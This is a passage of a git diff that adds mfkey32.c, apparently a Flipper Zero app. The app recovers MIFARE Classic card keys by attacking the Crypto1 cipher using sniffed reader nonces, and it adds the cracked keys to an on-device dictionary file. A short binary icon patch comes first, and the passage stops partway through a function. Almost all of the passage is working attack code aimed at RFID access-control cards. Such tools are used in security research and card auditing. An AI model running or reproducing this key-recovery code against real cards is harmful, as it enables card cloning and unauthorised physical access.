zkh!^Pb8YVCrcS?mM=~D9C1&cpuiwslI^zUeDCg#ej>}bU{P7*p%hlNIbCzOdb;6qx z(P4~R$D|nlS{smP8fWymUw51TaqS)Zq(yFJNOt(+-^v^96hOPRk!b6ZtIS4qU)lN? z7i4y~$q0U0@tV@ZB_8g_b3H_!l*jzY$ZUGnz*G?x)9`|;r$RQDBw7TYJ*m=(Jex*| zn`0{Y79OPS@FMKIZv%panjC4kcvUmeg_0O=+~w65R+c%cZ8QVd%o*HyY@hV8(XPDx zWWuAV`QXvuM`oXRJ`WB)7S)PL6TOu!W#sEd5)asGMz&0^-*G-)^>Qyr$)zXP%6zz2 zWMYdwtn~Fc17%$a0|e*N+-VmBd}yIc6#sL z6nd%Q;m6_|q)Eu4jYLE`D|zrv)?E8NjVbjE3yY5;oy6Fx#>uy~I4YyJLh^&o!cpjg z_{1uo6Rd}?pDnD9n@C|zPnm6Gr<&%tHRs%CcNDa>9XKplo@V(XN~~!8AyQX%$~5B* zQaJFj+)=8kivtkr)%zz z$d^?n9!pgoc;%QfF;Ll@le@UDjQ5I?n9)RjMpi7KzaLy5%X6Ge3pnqbq5t4bXj&_5 zc%iwxG1>jxifW7vDHiQ3@#zD~>Dsdfc(;7E`Qz4g7a|T~1}`6ybGf&wHwE*`liQ6l4oAm{WMG@s9wP+7(TzUQ`oY1 zvtZp-d#RbTTH9TcZ=qg#T0CM~eoE08n@kESNza?K{MeWLRXCzngUV;jrfu)wWC)8R zMix%^#&s^7AIm)_r}R{rtfpQMy5`szWQ0K4|?)7vFus?R867(PxIA#s%=kCR7qxUnwFJa z_crVOZTvl=J!;E+eIb>DAg_G37nmpB(o6q6+QQax)ltiObZ_pqeKUKZ~?StM+0=L_bfEmCs3R=3!k-TGmNa=AFEK*lTDQN@z=DPof(`B+@; z&>r8nrB437e%)Pl4l*k@f{S&mkLlRHsA8Tc#f#|74cCr*u9|Z-ERf4!lqU$BW@W}Y z*<0rCZn&)-Hfjosf$N~|pGwKY>yM9T-6))Z=-;oNY=3Qwk`oMrOl?J3W(GwDg>+)^ zlWUJS?Q@K6k2STr0iIIpNh8$yJ*e9Hw)J?1W$W4_M;lyMX+vAzT`+rzkOu0t}W}?MSzI9alzUxKIQF*!2m0}Rt)Ln+Fv5;%yc}`{>!H@53ANr)h(fVmi z_z9|j#{T1bw}05Ukaaoj?3seiLb-H}fjx140v|e$0uJ)=W^oBY29PCQ0&veChC#qf5Z(a;h?A8Kn8@bP!Dt<{4jf7f zVg?`~+r+{892$dQYi#m`0(dfj?C0@(2{2e-V4zMQN{7wygducwbzyKM42gsS2q-t0 z#iIm4SzI+f#WII6olE5~eR)ha3(V)Fc(DC>1`r4!2Y(?4q*PK6F!;p)|9Od?%cH@_ zzylhH2LQm3a5x?cM?#Uhu1NZ5H=S7J+=if+)T)gbp0$e_llI8DpOvzR@Uv>Ct z^kn+@E@|-5-y><%uQ*?Sj`tFVMupM6={|rXT!0zz8$ACr%vX)y#KV{T&JiAy@lW7< z$?xERcYjR&YkHSlUz!GjF`Meo_mOOD0O5y6ps}e;8e!=cL1SR4SQ-{e#nZ7+G!{#T z;&H&mgHFeI;NU0(4vqSbip=8jC@dBE)-2iVWD^i9S%hz=@bl& zip8Pm=p`!tv=NMK$OaIk4*c7QjW>nIU~_y7AeKy)f6zC9J=2G7$D{C*hQQ*`SUeUe zTr?hw`4Zg{pCg^a1=a+g69Lyj;Fr{CRDub>NC9e-=|l0P!+cquO9K8Z5^R`3bZ;kP zfSt9hidgpMo6!09LjHsjfHVM8Lg6n$z^5g~rEz|Fd;9Z;9av1jDDs=g>6^>|f&&78 z!(j;i^&72}BN^!lN4lKY$w!bO{8IUbHqh;5erA+ zD0m<+49i&~|U;5&I(gYa%w~@b; z-@nuKce?&k2L2NG@9O$HU4JP9e+m3|b^Y7YCI0P`8Jz{Zkpu!C#G)SBy#hX_iTRp2 zb3ve0YxzF`(CIVsz@P|^Y()|o5m1m**Icz`(|KTsNH#XIm+wqSB#VRKqJnFuKD${< z+lqOd=k9Vf5imS?kD?ArPBsfDKavwMx2f2_Do?p$?=KNlw!ZwhcI`XYiHy&no*dYF T2_+RDfDS|^SsNGcaF6&O#taN} literal 0 HcmV?d00001 diff --git a/applications/external/mfkey32/mfkey32.c b/applications/external/mfkey32/mfkey32.c new file mode 100644 index 000000000..ac08d2ddc --- /dev/null +++ b/applications/external/mfkey32/mfkey32.c @@ -0,0 +1,1285 @@ +#pragma GCC optimize("O3") +#pragma GCC optimize("-funroll-all-loops") + +// TODO: Handle back button correctly +// TODO: Add keys to top of the user dictionary, not the bottom + +#include +#include +#include "time.h" +#include +#include +#include +#include +#include "mfkey32_icons.h" +#include +#include +#include +#include +#include +#include +#include +#include +#include + +#define MF_CLASSIC_DICT_FLIPPER_PATH EXT_PATH("nfc/assets/mf_classic_dict.nfc") +#define MF_CLASSIC_DICT_USER_PATH EXT_PATH("nfc/assets/mf_classic_dict_user.nfc") +#define MF_CLASSIC_NONCE_PATH EXT_PATH("nfc/.mfkey32.log") +#define TAG "Mfkey32" +#define NFC_MF_CLASSIC_KEY_LEN (13) + +// MSB_LIMIT: Chunk size (out of 256) +#define MSB_LIMIT 16 +#define MIN_RAM 114500 +#define LF_POLY_ODD (0x29CE5C) +#define LF_POLY_EVEN (0x870804) +#define CONST_M1_1 (LF_POLY_EVEN << 1 | 1) +#define CONST_M2_1 (LF_POLY_ODD << 1) +#define CONST_M1_2 (LF_POLY_ODD) +#define CONST_M2_2 (LF_POLY_EVEN << 1 | 1) +#define BIT(x, n) ((x) >> (n)&1) +#define BEBIT(x, n) BIT(x, (n) ^ 24) +#define SWAPENDIAN(x) (x = (x >> 8 & 0xff00ff) | (x & 0xff00ff) << 8, x = x >> 16 | x << 16) +//#define SIZEOF(arr) sizeof(arr) / sizeof(*arr) + +struct Crypto1State { + uint32_t odd, even; +}; +struct Crypto1Params { + uint64_t key; + uint32_t nr0_enc, uid_xor_nt0, uid_xor_nt1, nr1_enc, p64b, ar1_enc; +}; +struct Msb { + int tail; + uint32_t states[768]; +}; + +typedef enum { + EventTypeTick, + EventTypeKey, +} EventType; + +typedef struct { + EventType type; + InputEvent input; +} PluginEvent; + +typedef enum { + MissingNonces, + ZeroNonces, + OutOfMemory, +} MfkeyError; + +typedef enum { + Ready, + Initializing, + DictionaryAttack, + MfkeyAttack, + Complete, + Error, + Help, +} MfkeyState; + +typedef struct { + FuriMutex* mutex; + MfkeyError err; + MfkeyState mfkey_state; + int cracked; + int unique_cracked; + int total; + int dict_count; + int search; + bool is_thread_running; + bool close_thread_please; + FuriThread* mfkeythread; +} ProgramState; + +// TODO: Merge this with Crypto1Params? +typedef struct { + uint32_t uid; // serial number + uint32_t nt0; // tag challenge first + uint32_t nt1; // tag challenge second + uint32_t nr0_enc; // first encrypted reader challenge + uint32_t ar0_enc; // first encrypted reader response + uint32_t nr1_enc; // second encrypted reader challenge + uint32_t ar1_enc; // second encrypted reader response +} MfClassicNonce; + +typedef struct { + Stream* stream; + uint32_t total_nonces; + MfClassicNonce* remaining_nonce_array; + size_t remaining_nonces; +} MfClassicNonceArray; + +struct MfClassicDict { + Stream* stream; + uint32_t total_keys; +}; + +static const uint8_t table[256] = { + 0, 1, 1, 2, 1, 2, 2, 3, 1, 2, 2, 3, 2, 3, 3, 4, 1, 2, 2, 3, 2, 3, 3, 4, 2, 3, 3, 4, 3, + 4, 4, 5, 1, 2, 2, 3, 2, 3, 3, 4, 2, 3, 3, 4, 3, 4, 4, 5, 2, 3, 3, 4, 3, 4, 4, 5, 3, 4, + 4, 5, 4, 5, 5, 6, 1, 2, 2, 3, 2, 3, 3, 4, 2, 3, 3, 4, 3, 4, 4, 5, 2, 3, 3, 4, 3, 4, 4, + 5, 3, 4, 4, 5, 4, 5, 5, 6, 2, 3, 3, 4, 3, 4, 4, 5, 3, 4, 4, 5, 4, 5, 5, 6, 3, 4, 4, 5, + 4, 5, 5, 6, 4, 5, 5, 6, 5, 6, 6, 7, 1, 2, 2, 3, 2, 3, 3, 4, 2, 3, 3, 4, 3, 4, 4, 5, 2, + 3, 3, 4, 3, 4, 4, 5, 3, 4, 4, 5, 4, 5, 5, 6, 2, 3, 3, 4, 3, 4, 4, 5, 3, 4, 4, 5, 4, 5, + 5, 6, 3, 4, 4, 5, 4, 5, 5, 6, 4, 5, 5, 6, 5, 6, 6, 7, 2, 3, 3, 4, 3, 4, 4, 5, 3, 4, 4, + 5, 4, 5, 5, 6, 3, 4, 4, 5, 4, 5, 5, 6, 4, 5, 5, 6, 5, 6, 6, 7, 3, 4, 4, 5, 4, 5, 5, 6, + 4, 5, 5, 6, 5, 6, 6, 7, 4, 5, 5, 6, 5, 6, 6, 7, 5, 6, 6, 7, 6, 7, 7, 8}; +static const uint8_t lookup1[256] = { + 0, 0, 16, 16, 0, 16, 0, 0, 0, 16, 0, 0, 16, 16, 16, 16, 0, 0, 16, 16, 0, 16, 0, 0, + 0, 16, 0, 0, 16, 16, 16, 16, 0, 0, 16, 16, 0, 16, 0, 0, 0, 16, 0, 0, 16, 16, 16, 16, + 8, 8, 24, 24, 8, 24, 8, 8, 8, 24, 8, 8, 24, 24, 24, 24, 8, 8, 24, 24, 8, 24, 8, 8, + 8, 24, 8, 8, 24, 24, 24, 24, 8, 8, 24, 24, 8, 24, 8, 8, 8, 24, 8, 8, 24, 24, 24, 24, + 0, 0, 16, 16, 0, 16, 0, 0, 0, 16, 0, 0, 16, 16, 16, 16, 0, 0, 16, 16, 0, 16, 0, 0, + 0, 16, 0, 0, 16, 16, 16, 16, 8, 8, 24, 24, 8, 24, 8, 8, 8, 24, 8, 8, 24, 24, 24, 24, + 0, 0, 16, 16, 0, 16, 0, 0, 0, 16, 0, 0, 16, 16, 16, 16, 0, 0, 16, 16, 0, 16, 0, 0, + 0, 16, 0, 0, 16, 16, 16, 16, 8, 8, 24, 24, 8, 24, 8, 8, 8, 24, 8, 8, 24, 24, 24, 24, + 8, 8, 24, 24, 8, 24, 8, 8, 8, 24, 8, 8, 24, 24, 24, 24, 0, 0, 16, 16, 0, 16, 0, 0, + 0, 16, 0, 0, 16, 16, 16, 16, 8, 8, 24, 24, 8, 24, 8, 8, 8, 24, 8, 8, 24, 24, 24, 24, + 8, 8, 24, 24, 8, 24, 8, 8, 8, 24, 8, 8, 24, 24, 24, 24}; +static const uint8_t lookup2[256] = { + 0, 0, 4, 4, 0, 4, 0, 0, 0, 4, 0, 0, 4, 4, 4, 4, 0, 0, 4, 4, 0, 4, 0, 0, 0, 4, 0, 0, 4, + 4, 4, 4, 2, 2, 6, 6, 2, 6, 2, 2, 2, 6, 2, 2, 6, 6, 6, 6, 2, 2, 6, 6, 2, 6, 2, 2, 2, 6, + 2, 2, 6, 6, 6, 6, 0, 0, 4, 4, 0, 4, 0, 0, 0, 4, 0, 0, 4, 4, 4, 4, 2, 2, 6, 6, 2, 6, 2, + 2, 2, 6, 2, 2, 6, 6, 6, 6, 0, 0, 4, 4, 0, 4, 0, 0, 0, 4, 0, 0, 4, 4, 4, 4, 0, 0, 4, 4, + 0, 4, 0, 0, 0, 4, 0, 0, 4, 4, 4, 4, 0, 0, 4, 4, 0, 4, 0, 0, 0, 4, 0, 0, 4, 4, 4, 4, 2, + 2, 6, 6, 2, 6, 2, 2, 2, 6, 2, 2, 6, 6, 6, 6, 0, 0, 4, 4, 0, 4, 0, 0, 0, 4, 0, 0, 4, 4, + 4, 4, 0, 0, 4, 4, 0, 4, 0, 0, 0, 4, 0, 0, 4, 4, 4, 4, 2, 2, 6, 6, 2, 6, 2, 2, 2, 6, 2, + 2, 6, 6, 6, 6, 2, 2, 6, 6, 2, 6, 2, 2, 2, 6, 2, 2, 6, 6, 6, 6, 2, 2, 6, 6, 2, 6, 2, 2, + 2, 6, 2, 2, 6, 6, 6, 6, 2, 2, 6, 6, 2, 6, 2, 2, 2, 6, 2, 2, 6, 6, 6, 6}; + +uint32_t prng_successor(uint32_t x, uint32_t n) { + SWAPENDIAN(x); + while(n--) x = x >> 1 | (x >> 16 ^ x >> 18 ^ x >> 19 ^ x >> 21) << 31; + return SWAPENDIAN(x); +} + +static inline int filter(uint32_t const x) { + uint32_t f; + f = lookup1[x & 0xff] | lookup2[(x >> 8) & 0xff]; + f |= 0x0d938 >> (x >> 16 & 0xf) & 1; + return BIT(0xEC57E80A, f); +} + +static inline uint8_t evenparity32(uint32_t x) { + if((table[x & 0xff] + table[(x >> 8) & 0xff] + table[(x >> 16) & 0xff] + table[x >> 24]) % 2 == + 0) { + return 0; + } else { + return 1; + } + //return ((table[x & 0xff] + table[(x >> 8) & 0xff] + table[(x >> 16) & 0xff] + table[x >> 24]) % 2) & 0xFF; +} + +static inline void update_contribution(unsigned int data[], int item, int mask1, int mask2) { + int p = data[item] >> 25; + p = p << 1 | evenparity32(data[item] & mask1); + p = p << 1 | evenparity32(data[item] & mask2); + data[item] = p << 24 | (data[item] & 0xffffff); +} + +void crypto1_get_lfsr(struct Crypto1State* state, uint64_t* lfsr) { + int i; + for(*lfsr = 0, i = 23; i >= 0; --i) { + *lfsr = *lfsr << 1 | BIT(state->odd, i ^ 3); + *lfsr = *lfsr << 1 | BIT(state->even, i ^ 3); + } +} + +static inline uint32_t crypt_word(struct Crypto1State* s) { + // "in" and "x" are always 0 (last iteration) + uint32_t res_ret = 0; + uint32_t feedin, t; + for(int i = 0; i <= 31; i++) { + res_ret |= (filter(s->odd) << (24 ^ i)); + feedin = LF_POLY_EVEN & s->even; + feedin ^= LF_POLY_ODD & s->odd; + s->even = s->even << 1 | (evenparity32(feedin)); + t = s->odd, s->odd = s->even, s->even = t; + } + return res_ret; +} + +static inline void crypt_word_noret(struct Crypto1State* s, uint32_t in, int x) { + uint8_t ret; + uint32_t feedin, t, next_in; + for(int i = 0; i <= 31; i++) { + next_in = BEBIT(in, i); + ret = filter(s->odd); + feedin = ret & (!!x); + feedin ^= LF_POLY_EVEN & s->even; + feedin ^= LF_POLY_ODD & s->odd; + feedin ^= !!next_in; + s->even = s->even << 1 | (evenparity32(feedin)); + t = s->odd, s->odd = s->even, s->even = t; + } + return; +} + +static inline void rollback_word_noret(struct Crypto1State* s, uint32_t in, int x) { + uint8_t ret; + uint32_t feedin, t, next_in; + for(int i = 31; i >= 0; i--) { + next_in = BEBIT(in, i); + s->odd &= 0xffffff; + t = s->odd, s->odd = s->even, s->even = t; + ret = filter(s->odd); + feedin = ret & (!!x); + feedin ^= s->even & 1; + feedin ^= LF_POLY_EVEN & (s->even >>= 1); + feedin ^= LF_POLY_ODD & s->odd; + feedin ^= !!next_in; + s->even |= (evenparity32(feedin)) << 23; + } + return; +} + +int key_already_found_for_nonce( + uint64_t* keyarray, + int keyarray_size, + uint32_t uid_xor_nt1, + uint32_t nr1_enc, + uint32_t p64b, + uint32_t ar1_enc) { + for(int k = 0; k < keyarray_size; k++) { + struct Crypto1State temp = {0, 0}; + + for(int i = 0; i < 24; i++) { + (&temp)->odd |= (BIT(keyarray[k], 2 * i + 1) << (i ^ 3)); + (&temp)->even |= (BIT(keyarray[k], 2 * i) << (i ^ 3)); + } + + crypt_word_noret(&temp, uid_xor_nt1, 0); + crypt_word_noret(&temp, nr1_enc, 1); + + if(ar1_enc == (crypt_word(&temp) ^ p64b)) { + return 1; + } + } + return 0; +} + +int check_state(struct Crypto1State* t, struct Crypto1Params* p) { + if(!(t->odd | t->even)) return 0; + rollback_word_noret(t, 0, 0); + rollback_word_noret(t, p->nr0_enc, 1); + rollback_word_noret(t, p->uid_xor_nt0, 0); + struct Crypto1State temp = {t->odd, t->even}; + crypt_word_noret(t, p->uid_xor_nt1, 0); + crypt_word_noret(t, p->nr1_enc, 1); + if(p->ar1_enc == (crypt_word(t) ^ p->p64b)) { + crypto1_get_lfsr(&temp, &(p->key)); + return 1; + } + return 0; +} + +static inline int state_loop(unsigned int* states_buffer, int xks, int m1, int m2) { + int states_tail = 0; + int round = 0, s = 0, xks_bit = 0; + + for(round = 1; round <= 12; round++) { + xks_bit = BIT(xks, round); + + for(s = 0; s <= states_tail; s++) { + states_buffer[s] <<= 1; + + if((filter(states_buffer[s]) ^ filter(states_buffer[s] | 1)) != 0) { + states_buffer[s] |= filter(states_buffer[s]) ^ xks_bit; + if(round > 4) { + update_contribution(states_buffer, s, m1, m2); + } + } else if(filter(states_buffer[s]) == xks_bit) { + // TODO: Refactor + if(round > 4) { + states_buffer[++states_tail] = states_buffer[s + 1]; + states_buffer[s + 1] = states_buffer[s] | 1; + update_contribution(states_buffer, s, m1, m2); + s++; + update_contribution(states_buffer, s, m1, m2); + } else { + states_buffer[++states_tail] = states_buffer[++s]; + states_buffer[s] = states_buffer[s - 1] | 1; + } + } else { + states_buffer[s--] = states_buffer[states_tail--]; + } + } + } + + return states_tail; +} + +int binsearch(unsigned int data[], int start, int stop) { + int mid, val = data[stop] & 0xff000000; + while(start != stop) { + mid = (stop - start) >> 1; + if((data[start + mid] ^ 0x80000000) > (val ^ 0x80000000)) + stop = start + mid; + else + start += mid + 1; + } + return start; +} +void quicksort(unsigned int array[], int low, int high) { + //if (SIZEOF(array) == 0) + // return; + if(low >= high) return; + int middle = low + (high - low) / 2; + unsigned int pivot = array[middle]; + int i = low, j = high; + while(i <= j) { + while(array[i] < pivot) { + i++; + } + while(array[j] > pivot) { + j--; + } + if(i <= j) { // swap + int temp = array[i]; + array[i] = array[j]; + array[j] = temp; + i++; + j--; + } + } + if(low < j) { + quicksort(array, low, j); + } + if(high > i) { + quicksort(array, i, high); + } +} +int extend_table(unsigned int data[], int tbl, int end, int bit, int m1, int m2) { + for(data[tbl] <<= 1; tbl <= end; data[++tbl] <<= 1) { + if((filter(data[tbl]) ^ filter(data[tbl] | 1)) != 0) { + data[tbl] |= filter(data[tbl]) ^ bit; + update_contribution(data, tbl, m1, m2); + } else if(filter(data[tbl]) == bit) { + data[++end] = data[tbl + 1]; + data[tbl + 1] = data[tbl] | 1; + update_contribution(data, tbl, m1, m2); + tbl++; + update_contribution(data, tbl, m1, m2); + } else { + data[tbl--] = data[end--]; + } + } + return end; +} + +int old_recover( + unsigned int odd[], + int o_head, + int o_tail, + int oks, + unsigned int even[], + int e_head, + int e_tail, + int eks, + int rem, + int s, + struct Crypto1Params* p, + int first_run) { + int o, e, i; + if(rem == -1) { + for(e = e_head; e <= e_tail; ++e) { + even[e] = (even[e] << 1) ^ evenparity32(even[e] & LF_POLY_EVEN); + for(o = o_head; o <= o_tail; ++o, ++s) { + struct Crypto1State temp = {0, 0}; + temp.even = odd[o]; + temp.odd = even[e] ^ evenparity32(odd[o] & LF_POLY_ODD); + if(check_state(&temp, p)) { + return -1; + } + } + } + return s; + } + if(first_run == 0) { + for(i = 0; (i < 4) && (rem-- != 0); i++) { + oks >>= 1; + eks >>= 1; + o_tail = extend_table( + odd, o_head, o_tail, oks & 1, LF_POLY_EVEN << 1 | 1, LF_POLY_ODD << 1); + if(o_head > o_tail) return s; + e_tail = + extend_table(even, e_head, e_tail, eks & 1, LF_POLY_ODD, LF_POLY_EVEN << 1 | 1); + if(e_head > e_tail) return s; + } + } + first_run = 0; + quicksort(odd, o_head, o_tail); + quicksort(even, e_head, e_tail); + while(o_tail >= o_head && e_tail >= e_head) { + if(((odd[o_tail] ^ even[e_tail]) >> 24) == 0) { + o_tail = binsearch(odd, o_head, o = o_tail); + e_tail = binsearch(even, e_head, e = e_tail); + s = old_recover(odd, o_tail--, o, oks, even, e_tail--, e, eks, rem, s, p, first_run); + if(s == -1) { + break; + } + } else if((odd[o_tail] ^ 0x80000000) > (even[e_tail] ^ 0x80000000)) { + o_tail = binsearch(odd, o_head, o_tail) - 1; + } else { + e_tail = binsearch(even, e_head, e_tail) - 1; + } + } + return s; +} + +int calculate_msb_tables( + int oks, + int eks, + int msb_round, + struct Crypto1Params* p, + unsigned int* states_buffer, + struct Msb* odd_msbs, + struct Msb* even_msbs, + unsigned int* temp_states_odd, + unsigned int* temp_states_even) { + //FURI_LOG_I(TAG, "MSB GO %i", msb_iter); // DEBUG + unsigned int msb_head = (MSB_LIMIT * msb_round); // msb_iter ranges from 0 to (256/MSB_LIMIT)-1 + unsigned int msb_tail = (MSB_LIMIT * (msb_round + 1)); + int states_tail = 0, tail = 0; + int i = 0, j = 0, semi_state = 0, found = 0; + unsigned int msb = 0; + // TODO: Why is this necessary? + memset(odd_msbs, 0, MSB_LIMIT * sizeof(struct Msb)); + memset(even_msbs, 0, MSB_LIMIT * sizeof(struct Msb)); + + for(semi_state = 1 << 20; semi_state >= 0; semi_state--) { + //if (main_iter % 2048 == 0) { + // FURI_LOG_I(TAG, "On main_iter %i", main_iter); // DEBUG + //} + if(filter(semi_state) == (oks & 1)) { + states_buffer[0] = semi_state; + states_tail = state_loop(states_buffer, oks, CONST_M1_1, CONST_M2_1); + + for(i = states_tail; i >= 0; i--) { + msb = states_buffer[i] >> 24; + if((msb >= msb_head) && (msb < msb_tail)) { + found = 0; + for(j = 0; j < odd_msbs[msb - msb_head].tail - 1; j++) { + if(odd_msbs[msb - msb_head].states[j] == states_buffer[i]) { + found = 1; + break; + } + } + + if(!found) { + tail = odd_msbs[msb - msb_head].tail++; + odd_msbs[msb - msb_head].states[tail] = states_buffer[i]; + } + } + } + } + + if(filter(semi_state) == (eks & 1)) { + states_buffer[0] = semi_state; + states_tail = state_loop(states_buffer, eks, CONST_M1_2, CONST_M2_2); + + for(i = 0; i <= states_tail; i++) { + msb = states_buffer[i] >> 24; + if((msb >= msb_head) && (msb < msb_tail)) { + found = 0; + + for(j = 0; j < even_msbs[msb - msb_head].tail; j++) { + if(even_msbs[msb - msb_head].states[j] == states_buffer[i]) { + found = 1; + break; + } + } + + if(!found) { + tail = even_msbs[msb - msb_head].tail++; + even_msbs[msb - msb_head].states[tail] = states_buffer[i]; + } + } + } + } + } + + oks >>= 12; + eks >>= 12; + + for(i = 0; i < MSB_LIMIT; i++) { + memcpy(temp_states_odd, odd_msbs[i].states, odd_msbs[i].tail * sizeof(unsigned int)); + memcpy(temp_states_even, even_msbs[i].states, even_msbs[i].tail * sizeof(unsigned int)); + int res = old_recover( + temp_states_odd, + 0, + odd_msbs[i].tail, + oks, + temp_states_even, + 0, + even_msbs[i].tail, + eks, + 3, + 0, + p, + 1); + if(res == -1) { + return 1; + } + //odd_msbs[i].tail = 0; + //even_msbs[i].tail = 0; + } + + return 0; +} + +int recover(struct Crypto1Params* p, int ks2, ProgramState* const program_state) { + unsigned int* states_buffer = malloc(sizeof(unsigned int) * (2 << 9)); + struct Msb* odd_msbs = (struct Msb*)malloc(MSB_LIMIT * sizeof(struct Msb)); + struct Msb* even_msbs = (struct Msb*)malloc(MSB_LIMIT * sizeof(struct Msb)); + unsigned int* temp_states_odd = malloc(sizeof(unsigned int) * (1280)); + unsigned int* temp_states_even = malloc(sizeof(unsigned int) * (1280)); + int oks = 0, eks = 0; + int i = 0, msb = 0; + for(i = 31; i >= 0; i -= 2) { + oks = oks << 1 | BEBIT(ks2, i); + } + for(i = 30; i >= 0; i -= 2) { + eks = eks << 1 | BEBIT(ks2, i); + } + int bench_start = furi_hal_rtc_get_timestamp(); + for(msb = 0; msb <= ((256 / MSB_LIMIT) - 1); msb++) { + //printf("MSB: %i\n", msb); + program_state->search = msb; + if(calculate_msb_tables( + oks, + eks, + msb, + p, + states_buffer, + odd_msbs, + even_msbs, + temp_states_odd, + temp_states_even)) { + int bench_stop = furi_hal_rtc_get_timestamp(); + FURI_LOG_I(TAG, "Cracked in %i seconds", bench_stop - bench_start); + free(states_buffer); + free(odd_msbs); + free(even_msbs); + free(temp_states_odd); + free(temp_states_even); + return 1; + } + } + return 0; +} + +bool napi_mf_classic_dict_check_presence(MfClassicDictType dict_type) { + Storage* storage = furi_record_open(RECORD_STORAGE); + + bool dict_present = false; + if(dict_type == MfClassicDictTypeSystem) { + dict_present = storage_common_stat(storage, MF_CLASSIC_DICT_FLIPPER_PATH, NULL) == FSE_OK; + } else if(dict_type == MfClassicDictTypeUser) { + dict_present = storage_common_stat(storage, MF_CLASSIC_DICT_USER_PATH, NULL) == FSE_OK; + } + + furi_record_close(RECORD_STORAGE); + + return dict_present; +} + +MfClassicDict* napi_mf_classic_dict_alloc(MfClassicDictType dict_type) { + MfClassicDict* dict = malloc(sizeof(MfClassicDict)); + Storage* storage = furi_record_open(RECORD_STORAGE); + dict->stream = buffered_file_stream_alloc(storage); + furi_record_close(RECORD_STORAGE); + + bool dict_loaded = false; + do { + if(dict_type == MfClassicDictTypeSystem) { + if(!buffered_file_stream_open( + dict->stream, + MF_CLASSIC_DICT_FLIPPER_PATH, + FSAM_READ_WRITE, + FSOM_OPEN_EXISTING)) { + buffered_file_stream_close(dict->stream); + break; + } + } else if(dict_type == MfClassicDictTypeUser) { + if(!buffered_file_stream_open( + dict->stream, MF_CLASSIC_DICT_USER_PATH, FSAM_READ_WRITE, FSOM_OPEN_ALWAYS)) { + buffered_file_stream_close(dict->stream); + break; + } + } + + // Check for newline ending + if(!stream_eof(dict->stream)) { + if(!stream_seek(dict->stream, -1, StreamOffsetFromEnd)) break; + uint8_t last_char = 0; + if(stream_read(dict->stream, &last_char, 1) != 1) break; + if(last_char != '\n') { + FURI_LOG_D(TAG, "Adding new line ending"); + if(stream_write_char(dict->stream, '\n') != 1) break; + } + if(!stream_rewind(dict->stream)) break; + } + + // Read total amount of keys + FuriString* next_line; + next_line = furi_string_alloc(); + while(true) { + if(!stream_read_line(dict->stream, next_line)) { + FURI_LOG_T(TAG, "No keys left in dict"); + break; + } + FURI_LOG_T( + TAG, + "Read line: %s, len: %zu", + furi_string_get_cstr(next_line), + furi_string_size(next_line)); + if(furi_string_get_char(next_line, 0) == '#') continue; + if(furi_string_size(next_line) != NFC_MF_CLASSIC_KEY_LEN) continue; + dict->total_keys++; + } + furi_string_free(next_line); + stream_rewind(dict->stream); + + dict_loaded = true; + FURI_LOG_I(TAG, "Loaded dictionary with %lu keys", dict->total_keys); + } while(false); + + if(!dict_loaded) { + buffered_file_stream_close(dict->stream); + free(dict); + dict = NULL; + } + + return dict; +} + +bool napi_mf_classic_dict_add_key_str(MfClassicDict* dict, FuriString* key) { + furi_assert(dict); + furi_assert(dict->stream); + FURI_LOG_I(TAG, "Saving key: %s", furi_string_get_cstr(key)); + + furi_string_cat_printf(key, "\n"); + + bool key_added = false; + do { + if(!stream_seek(dict->stream, 0, StreamOffsetFromEnd)) break; + if(!stream_insert_string(dict->stream, key)) break; + dict->total_keys++; + key_added = true; + } while(false); + + furi_string_left(key, 12); + return key_added; +} + +void napi_mf_classic_dict_free(MfClassicDict* dict) { + furi_assert(dict); + furi_assert(dict->stream); + + buffered_file_stream_close(dict->stream); + stream_free(dict->stream); + free(dict); +} + +static void napi_mf_classic_dict_int_to_str(uint8_t* key_int, FuriString* key_str) { + furi_string_reset(key_str); + for(size_t i = 0; i < 6; i++) { + furi_string_cat_printf(key_str, "%02X", key_int[i]); + } +} + +static void napi_mf_classic_dict_str_to_int(FuriString* key_str, uint64_t* key_int) { + uint8_t key_byte_tmp; + + *key_int = 0ULL; + for(uint8_t i = 0; i < 12; i += 2) { + args_char_to_hex( + furi_string_get_char(key_str, i), furi_string_get_char(key_str, i + 1), &key_byte_tmp); + *key_int |= (uint64_t)key_byte_tmp << (8 * (5 - i / 2)); + } +} + +uint32_t napi_mf_classic_dict_get_total_keys(MfClassicDict* dict) { + furi_assert(dict); + + return dict->total_keys; +} + +bool napi_mf_classic_dict_rewind(MfClassicDict* dict) { + furi_assert(dict); + furi_assert(dict->stream); + + return stream_rewind(dict->stream); +} + +bool napi_mf_classic_dict_get_next_key_str(MfClassicDict* dict, FuriString* key) { + furi_assert(dict); + furi_assert(dict->stream); + + bool key_read = false; + furi_string_reset(key); + while(!key_read) { + if(!stream_read_line(dict->stream, key)) break; + if(furi_string_get_char(key, 0) == '#') continue; + if(furi_string_size(key) != NFC_MF_CLASSIC_KEY_LEN) continue; + furi_string_left(key, 12); + key_read = true; + } + + return key_read; +} + +bool napi_mf_classic_dict_get_next_key(MfClassicDict* dict, uint64_t* key) { + furi_assert(dict); + furi_assert(dict->stream); + + FuriString* temp_key; + temp_key = furi_string_alloc(); + bool key_read = napi_mf_classic_dict_get_next_key_str(dict, temp_key); + if(key_read) { + napi_mf_classic_dict_str_to_int(temp_key, key); + } + furi_string_free(temp_key); + return key_read; +} + +bool napi_mf_classic_dict_is_key_present_str(MfClassicDict* dict, FuriString* key) { + furi_assert(dict); + furi_assert(dict->stream); + + FuriString* next_line; + next_line = furi_string_alloc(); + + bool key_found = false; + stream_rewind(dict->stream); + while(!key_found) { //-V654 + if(!stream_read_line(dict->stream, next_line)) break; + if(furi_string_get_char(next_line, 0) == '#') continue; + if(furi_string_size(next_line) != NFC_MF_CLASSIC_KEY_LEN) continue; + furi_string_left(next_line, 12); + if(!furi_string_equal(key, next_line)) continue; + key_found = true; + } + + furi_string_free(next_line); + return key_found; +} + +bool napi_mf_classic_dict_is_key_present(MfClassicDict* dict, uint8_t* key) { + FuriString* temp_key; + + temp_key = furi_string_alloc(); + napi_mf_classic_dict_int_to_str(key, temp_key); + bool key_found = napi_mf_classic_dict_is_key_present_str(dict, temp_key); + furi_string_free(temp_key); + return key_found; +} + +bool napi_key_already_found_for_nonce( + MfClassicDict* dict, + uint32_t uid_xor_nt1, + uint32_t nr1_enc, + uint32_t p64b, + uint32_t ar1_enc) { + bool found = false; + uint64_t k = 0; + napi_mf_classic_dict_rewind(dict); + while(napi_mf_classic_dict_get_next_key(dict, &k)) { + struct Crypto1State temp = {0, 0}; + int i; + for(i = 0; i < 24; i++) { + (&temp)->odd |= (BIT(k, 2 * i + 1) << (i ^ 3)); + (&temp)->even |= (BIT(k, 2 * i) 